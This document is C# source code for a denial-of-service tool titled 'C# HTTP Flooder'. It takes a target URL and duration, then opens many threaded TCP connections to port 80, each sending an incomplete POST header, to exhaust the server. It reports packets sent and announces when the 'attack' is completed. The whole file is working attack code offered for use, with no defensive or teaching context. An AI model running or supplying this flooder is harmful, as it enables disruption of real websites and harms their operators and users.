C# HTTP Flooder Source { DDOS }
using System;
using System.Collections.Generic;
using System.Threading;
using System.IO;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Net;
namespace Flooder
{
public class Main_Class
{
public static void Main(string[] args)
{
{
Console.Write("URL: ");
string website = Console.ReadLine();
Console.Write("DURATION (SECONDS): ");
string s = Console.ReadLine();
int count = 1;
bool loop = true;
new Thread((ThreadStart)(() =>
{
List<TcpClient> clients = new List<TcpClient>();
while (loop)
{
new Thread((ThreadStart)(() =>
{
TcpClient tcpClient = new TcpClient();
clients.Add(tcpClient);
try
{
tcpClient.Connect(website, 80);
StreamWriter streamWriter = new StreamWriter(tcpClient.GetStream());
streamWriter.Write("POST / HTTP/1.1\r\nHost: " + website + "\r\nContent-length: 5235\r\n\r\n");
streamWriter.Flush();
if (loop)
{
Console.Clear();
Console.WriteLine("AMOUNT OF PACKETS SENT: " + count);
}
count++;
}
catch (Exception)
{
if (loop)
{
Console.Clear();
Console.WriteLine("PACKETS WERE UNABLE TO REACH SERVER");
}
}
})).Start();
Thread.Sleep(50);
}
foreach (TcpClient current in clients)
{
try
{
current.GetStream().Dispose();
}
catch (Exception)
{
}
}
})).Start();
Thread.Sleep(int.Parse(s) * 1000);
loop = false;
Console.WriteLine("\nDURATION OF ATTACK COMPLETED.");
Console.WriteLine("PRESS ANY KEY TO CLOSE THIS APPLICATION...");
Console.ReadKey();
}
}
}
}